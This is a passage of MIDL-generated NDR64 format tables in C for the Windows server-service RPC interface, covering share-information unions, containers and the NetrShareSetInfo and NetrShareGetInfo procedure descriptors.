__midl_frag310_t __midl_frag310 =\n{ \n/* *_SHARE_INFO_1501_I */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag205\n};\n\nstatic const __midl_frag308_t __midl_frag308 =\n{ \n/* *_SHARE_INFO_1004 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag200\n};\n\nstatic const __midl_frag307_t __midl_frag307 =\n{ \n/* *_SHARE_INFO_502_I */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag190\n};\n\nstatic const __midl_frag306_t __midl_frag306 =\n{ \n/* *_SHARE_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag183\n};\n\nstatic const __midl_frag305_t __midl_frag305 =\n{ \n/* *_SHARE_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag178\n};\n\nstatic const __midl_frag303_t __midl_frag303 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag302_t __midl_frag302 =\n{ \n/* _SHARE_INFO */\n    { \n    /* _SHARE_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag303,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 10 /* 0xa */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag308,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag305,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag306,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 502 /* 0x1f6 */,\n        &__midl_frag307,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1004 /* 0x3ec */,\n        &__midl_frag308,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1006 /* 0x3ee */,\n        &__midl_frag311,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1501 /* 0x5dd */,\n        &__midl_frag310,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1005 /* 0x3ed */,\n        &__midl_frag311,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 501 /* 0x1f5 */,\n        &__midl_frag312,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 503 /* 0x1f7 */,\n        &__midl_frag313,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 0 /* 0x0 */\n};\n\nstatic const __midl_frag301_t __midl_frag301 =\n{ \n/* *_SHARE_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag302\n};\n\nstatic const __midl_frag295_t __midl_frag295 =\n{ \n/* NetrShareSetInfo */\n    { \n    /* NetrShareSetInfo */      /* procedure NetrShareSetInfo */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* NetName */      /* parameter NetName */\n        &__midl_frag736,\n        { \n        /* NetName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag737,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ShareInfo */      /* parameter ShareInfo */\n        &__midl_frag302,\n        { \n        /* ShareInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ParmErr */      /* parameter ParmErr */\n        &__midl_frag523,\n        { \n        /* ParmErr */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag281_t __midl_frag281 =\n{ \n/* *_SHARE_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag302\n};\n\nstatic const __midl_frag275_t __midl_frag275 =\n{ \n/* NetrShareGetInfo */\n    { \n    /* NetrShareGetInfo */      /* procedure NetrShareGetInfo */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* NetName */      /* parameter NetName */\n        &__midl_frag736,\n        { \n        /* NetName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag737,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag302,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag270_t __midl_frag270 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag737\n};\n\nstatic const __midl_frag268_t __midl_frag268 =\n{ \n/*  */\n    { \n    /* *_SHARE_INFO_503_I */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag266\n    }\n};\n\nstatic const __midl_frag267_t __midl_frag267 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag266_t __midl_frag266 =\n{ \n/* *_SHARE_INFO_503_I */\n    { \n    /* *_SHARE_INFO_503_I */\n        { \n        /* *_SHARE_INFO_503_I */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_SHARE_INFO_503_I */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag218\n        },\n        &__midl_frag267,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag265_t __midl_frag265 =\n{ \n/* SHARE_INFO_503_CONTAINER */\n    { \n    /* SHARE_INFO_503_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SHARE_INFO_503_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag268,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag264_t __midl_frag264 =\n{ \n/* *SHARE_INFO_503_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag265\n};\n\nstatic const __midl_frag263_t __midl_frag263 =\n{ \n/*  */\n    { \n    /* *_SHARE_INFO_502_I */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag261\n    }\n};\n\nstatic const __midl_frag261_t __midl_frag261 =\n{ \n/* *_SHARE_INFO_502_I */\n    { \n    /* *_SHARE_INFO_502_I */\n        { \n        /* *_SHARE_INFO_502_I */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_SHARE_INFO_502_I */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag190\n        },\n        &__midl_frag267,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag260_t __midl_frag260 =\n{ \n/* SHARE_INFO_502_CONTAINER */\n    { \n    /* SHARE_INFO_502_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SHARE_INFO_502_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag263,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag259_t __midl_frag259 =\n{ \n/* *SHARE_INFO_502_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag260\n};\n\nstatic const __midl_frag258_t __midl_frag258 =\n{ \n/*  */\n    { \n    /* *_SHARE_INFO_501 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag256\n    }\n};\n\nstatic const __midl_frag256_t __midl_frag256 =\n{ \n/* *_SHARE_INFO_501 */\n    { \n    /* *_SHARE_INFO_501 */\n        { \n        /* *_SHARE_INFO_501 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_SHARE_INFO_501 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag213\n        },\n        &__midl_frag267,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag255_t __midl_frag255 =\n{ \n/* SHARE_INFO_501_CONTAINER */\n    { \n    /* SHARE_INFO_501_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SHARE_INFO_501_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag258,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag254_t __midl_frag254 =\n{ \n/* *SHARE_INFO_501_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag255\n};\n\nstatic const __midl_frag253_t __midl_frag253 =\n{ \n/*  */\n    { \n    /* *_SHARE_INFO_2 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag251\n    }\n};\n\nstatic const __midl_frag251_t __midl_frag251 =\n{ \n/* *_SHARE_INFO_2 */\n    { \n    /* *_SHARE_INFO_2 */\n        { \n        /* *_SHARE_INFO_2 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_SHARE_INFO_2 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag183\n        },\n        &__midl_frag267,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag250_t __midl_frag250 =\n{ \n/* SHARE_INFO_2_CONTAINER */\n    { \n    /* SHARE_INFO_2_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SHARE_INFO_2_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag253,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag249_t __midl_frag249 =\n{ \n/* *SHARE_INFO_2_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag250\n};\n\nstatic const __midl_frag248_t __midl_frag248 =\n{ \n/*  */\n    { \n    /* *_SHARE_INFO_1 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag246\n    }\n};\n\nstatic const __midl_frag246_t __midl_frag246 =\n{ \n/* *_SHARE_INFO_1 */\n    { \n    /* *_SHARE_INFO_1 */\n        { \n        /* *_SHARE_INFO_1 */\n            0x46,    /* FC64_FORCED_BOGUS_ARRAY */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            { \n            /* *_SHARE_INFO_1 */\n                0,\n                1,\n                0,\n                0,\n                0,\n                0,\n                0,\n                0\n            },\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            &__midl_frag178\n        },\n        &__midl_frag267,\n        0,\n        0\n    }\n};\n\nstatic const __midl_frag245_t __midl_frag245 =\n{ \n/* SHARE_INFO_1_CONTAINER */\n    { \n    /* SHARE_INFO_1_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SHARE_INFO_1_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag248,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag244_t __midl_frag244 =\n{ \n/* *SHARE_INFO_1_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag245\n};\n\nstatic const __midl_frag243_t __midl_frag243 =\n{ \n/*  */\n    { \n    /* *_SHARE_INFO_0 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag240\n    }\n};\n\nstatic const __midl_frag240_t __midl_frag240 =\n{ \n/* *_SHARE_INFO_0 */\n    { \n    /* *_SHARE_INFO_0 */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *_SHARE_INFO_0 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag267\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag200\n    }\n};\n\nstatic const __midl_frag239_t __midl_frag239 =\n{ \n/* SHARE_INFO_0_CONTAINER */\n    { \n    /* SHARE_INFO_0_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SHARE_INFO_0_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag243,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 